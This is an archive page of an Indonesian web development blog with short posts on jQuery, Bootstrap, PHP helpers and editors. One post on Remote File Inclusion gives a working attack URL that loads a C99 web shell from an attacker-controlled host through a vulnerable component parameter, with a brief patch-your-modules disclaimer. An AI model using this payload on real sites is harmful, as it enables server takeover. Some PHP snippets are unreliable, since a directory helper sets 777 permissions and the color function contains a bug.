Langsung ke konten utama

Postingan

Menampilkan postingan dari Mei, 2013

Menggantikan fungsi .live pada Jquery 1.9

Pada jQuery 1.9 fungsi .live tidak lagi bisa digunakan. Fungsi ini berguna pada saat kita membuat sebuah dynamic Form. Element yang digenerate menggunakan fungsi .live ini valuenya dapat di kirim ke server. Berbeda jika tidak menggunakan fungsi .live element-element semisal input text yang digenerate, valuenya tidak bisa di kirim. Karena pada versi 1.9 fungsi .live sudah tidak bisa digunakan lagi, maka kita dapat menggunakan alternatif lain yaitu: $(document).on( events [, selector ] [, data ], handler(eventObject) ) sebagai contoh: $(document).on('click','#id_element',function(){      // kode lain }); code diatas sama dengan: $('#id_element').live('click',function(){      // kode lain }); Semoga bermanfaat Prastowo aGung Widodo

[Newbie Trick] Membuat dynamic attribute dengan jquery

Kadang sebuah dynamic attribute diperlukan dalam sebuah Form. Misal ketika kita ingin membuat sebuah Form yang memerlukan unique id sebagai key dalam database. Kali ini saya akan mencoba menggunakan fungsi date time pada javascript untuk membuat fungsi microtime. Ini mungkin bisa dipakai sebagai alternatif pembuatan unique id. Berikut potongan Javascript Function nya. function microtime (get_as_float) { var now = new Date().getTime() / 1000; var s = parseInt(now, 10); return (get_as_float) ? now : (Math.round((now - s) * 1000) / 1000) + '' + s; } Fungsi tersebut saya dapatkan dari:  http://phpjs.org/functions/microtime/ contoh penggunaan. disini saya menggunakan library jquery.js <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script> <script type="text/javascript"> $(document).ready(function(){ var dyn_

Google Now

Google Now merupakan salah satu aplikasi andalan dari Android 4.1 (Jelly Bean). Google Now berisikan informasi-informasi mulai dari cuaca, traffic, navigation, events, olahraga, dll. Dikabarkan Google Now merupakan saingan dari SIRI dari apple. Tidak hanya untuk Android OS, sekarang Google Now dapat dinikmati oleh pengguna iPhone. Aplikasi ini dapat di unduh secara gratis di Google Play Store maupun Apple Store

FIX twitter bootstrap carousel auto slide

Twitter bootstrap carousel tidak bisa auto slide, entah kenapa hal ini bisa terjadi. Slider tidak akan berjalan sebelum kita menekan button next atau navigasinya sekali. Untuk membuat carousel twitter bootstrap auto slide. tambahkan script berikut. <script type="text/javascript"> $(document).ready(function(){ $('#myCarousel').carousel({ interval: 4000 }); }); </script> Pastikan untuk menyeseuaikan id dari div carousel nya. pada contoh di atas menggunakan id myCarousel. Terima kasih. Prastowo aGung Widodo

[Newbie trick] PHP function random color

Fungsi berikut akan menghasilkan random color code. function generateColor(){     mt_srand((double)microtime()*1000000);     $res = '';     while(strlen($c)<6){         $res .= sprintf("%02X", mt_rand(0, 255));     }     return $res; } Contoh penggunaan : $color = '#'.generateColor(); ini akan menghasilkan 6 digit hex color code. Semoga bermanfaat Prastowo aGung Widodo

Download PHP 64 bit for Windows

Karena kebutuhan hardware dan software yang harus semakin meningkat performanya, maka mau tidak mau untuk menunjang performa server harus dilakukan migrasi dari 32 bit system ke 64 bit system. Masalah baru muncul ketika beralih ke 64 bit. Apakah akan tetap menggunakan software 32 bit??? kalau kita tetap menggunakan software 32 bit buat apa kita migrasi ke 64 bit. Untuk itu dibutuhkan software yang mendukung arsitektur 64 bit. Sayangnya PHP tidak secara resmi meluncurkan versi 64 bit untuk windows server. Untuk itu sudah ada yang berbaik hati meng-compile PHP untuk arsitektur 64 bit Windows. Yang membutuhkan dapat di download di link berikut : PHP 5.4.3 (Thread Safe) Mediafire   Dropbox PHP 5.4.3 (Non Thread Safe) mediafire Dropbox PHP 5.3.13 (Thread Safe) Mediafire Dropbox PHP 5.3.13 (Non Thread Safe) Mediafire Dropbox Semoga bermanfaat Prastowo aGung Widodo

Windows 8 color

Berikut adalah windows 8 color palette. Warna-warna yang digunakan di preference windows 8 metro screen. Windows 8 Palette Background (Outside) Color Live Tile (Inside) Color #252525 #f4b300 #252525 #78ba00 #252525 #2773ed #252525 #ae113e #311600 #632f00 #550004 #b11d01 #4f023a #c1004f #2e0251 #7200ad #1d0065 #4617b5 #00214f #006ac0 #00485e #008387 #004900 #189900 #17992c #00c140 #e66b1b #ff991d #b91d1e #ff2e13 #b31a6a #ff1d77 #681cb4 #aa3fff #1957ba #20aeff #599be5 #57c5ff #00a8a8 #00d8cd #82ba1b #91d100 #d39d09 #e1b700 #e165bb #ff76bc #686868 #00a4a5 #686868 #ff7d23 Semoga bermanfaat. Prastowo aGung Widodo Sumbernya dari :  http://jasongaylord.com/blog/windows-8-color-palette  

Twitter Bootstrap solusi mempercepat desain layout html

Tidak bisa dipungkiri hal yang paling lama dalam sebuah proses development biasanya adalah proses desain tampilannya. Untuk web application kita dapat memanfaatkan beberapa CSS Framework untuk membantu desain tampilan. salah satunya adalah menggunakan Twitter Bootstrap. Twitter bootstrap mempunyai banyak fitur, dengan dokumentasi yang lengkap dan mendukung responsive design. Grid featurenya juga sangat membantu dalam proses desain, selain itu twitter bootstrap juga menyediakan banyak icon yang dapat dengan mudah dipanggil hanya menggunakan class saja. Untuk lebih jelas temen-temen bisa download dan membaca dokumentasinya di: http://twitter.github.io/bootstrap/

Perbedaan CSS display none dan visibility hidden

Untuk menyembunyikan sebuah element pada html script ada beberapa cara. diantaranya adalah menggunakan CSS: display:none; atau visibility:hidden; Namun adakah perbedaan diantara kedua code tersebut??? Ya.. pastinya ada. Dengan menggunakan css display:none; maka element akan benar-benar tidak terlihat pada browser. sama sekali tidak meninggalkan jejak. Berbeda dengan css visibility:hidden; dengan kode ini element masih menyisakan ruang kosong pada browser. Jadi.... Mana yang akan Anda gunakan??? tergantung kebutuhan :) Terima kasih Prastowo aGung Widodo

List RFI Bug Dork

Khusus buat newbie. Apa itu RFI?? RFI atau Remote File Inclusion adalah salah satu metode hacking dengan menginclude file. Tool yang sering dipakai adalah C99 shell injection atau R57 shell injection. Metodenya sangat sederhana. Ketika kita sudah mendapatkan target, kita hanya perlu menginclude file C99 atau R57 nya. sebagai contoh: kita mempunyai target http://domain-name.com/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path= maka disini kita include file c99 nya, menjadi http://domain-name.com/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=http://domain-kita.com/c99.txt Jika berhasil maka kita akan dapat masuk ke dalam server target dengan c99 shell berikut beberapa list RFI Bug Dork. Ini hanya sekedar informasi, jadi bagi yang merasa memakai CMS dengan module-module yang masuk dalam list berikut, segera update module nya atau segera perbaiki bugs nya. Semoga bermanfaat. =====================

[Newbie Trick] Fungsi PHP untuk membuat direktori / folder

Fungsi ini akan bermanfaat untuk proses upload file dengan direktori yang terpisah. Sering kali kita membutuhkan generate direktori agar file-file yang kita upload lewat applikasi dalam hal ini applikasi PHP dapat tertata rapi, dan mudah dalam manajemen file nya. berikut fungsi yang dapat digunakan untuk membuat struktur direktori tempat upload file function createDirectory($path,$include_filename=false){     $dir = explode('/',$path); // Array direktori     $total = (int) count($dir); // Total array     if($include_filename == true){     unset($dir[($total - 1)]); // Unset array terakhir (filename)     }     $cur_dir = '';     foreach($dir as $key){ // Membuat direktori     if(!is_dir($cur_dir.$key)){     mkdir($cur_dir.$key,'777');     }     $cur_dir .= $key.'/';     }     } Cara penggunaan : 1. Contoh pertama $path = 'files/uploads/2013/05'; createDirectory($path); 2. Contoh kedua $filen

[Newbie Trick] Memotong kata dan memotong karakter string dalam PHP

Fungsi ini mungkin suatu ketika diperlukan untuk pembuatan sebuah Content Management System, dimana biasanya tampilan list awal sebuah website tidak menampilkan seluruh artikel, melainkan potongan artikel. Kali ini saya akan berbagi trik untuk memotong string per kata atau per karakter.. 1. Fungsi untuk memotong string per karakter Untuk memotong string per karakter bisa digunakan fungsi PHP sub_str berikut contohnya : function limitChar( $content , $limit ) {         if (strlen( $content ) <= $limit ) {             return $content ;         } else {             $hasil = substr( $content , 0, $limit );             return $hasil . "...";         }     } Fungsi diatas akan memotong $content sesuai dengan $limit yang diberikan. Jika panjang $content kurang dari atau sama dengan $limit maka fungsi tersebut akan mengembalikan string $content. Jika panjang $content lebih dari $limit maka hasilnya adalah $limit karakter terdepan dari $content ditambah

PHP IDE dan PHP Editor FREE

PHP Developers pasti membutuhkan yang satu ini. Ya.. sebuah IDE atau minimal Editor untuk PHP. Yang memiliki banyak fitur. Berikut beberapa PHP IDE dan PHP Editor yang dapat digunakan sebagai alternative. 1. Netbeans IDE for PHP Netbeans mempunyai fitur yang sangat bagus untuk sebuah PHP IDE. namun ada sedikit kekurangan pada IDE yang satu ini. Beberapa developer mengeluh karena Netbeans boros memory. Ya tidak bisa dipungkiri program yang satu ini memang berat dan boros memory. Namun terlepas dari itu program ini memiliki fitur yang mumpuni. Cocok untuk PHP Developers. 2. Sublime Text Sublime Text merupakan PHP Editor dengan fitur yang cukup baik. PHP Editor ini membutuhkan resource memory yang kecil. dengan file installasi yang kecil pula. Fitur-fiturnya juga tidak kalah dengan editor lain. 3. Komodo Edit Komodo Edit adalah versi Free dari Komodo IDE. Komodo Edit juga memiliki fitur-fitur seperti syntax highlighting yang bagus. ini bisa dijadikan alternatif selain Netbea

Sesuaikan Program dengan OS nya

Seorang developers tentunya wajib menginstall program pendukung untuk mengembangkan sebuah aplikasi. Sebagai contoh seorang PHP Programmer, dia harus menginstall Web Server beserta PHP di dalam komputernya. Namun ini kadang menjadi masalah, karena pemilihan program / software yang tidak tepat. Kesalahan pemilihan software akan mengakibatkan menurunnya performa komputer. Sebagai contoh ketika bekerja di lingkungan Windows OS akan lebih baik untuk menggunakan Web Server bawaan Windows (IIS) dibandingkan dengan Apache. Namun ketika kita menggunakan OS Linux tentu saja kita akan menggunakan Apache atau NGINX dengan performa yang lebih maksimal.  Jadi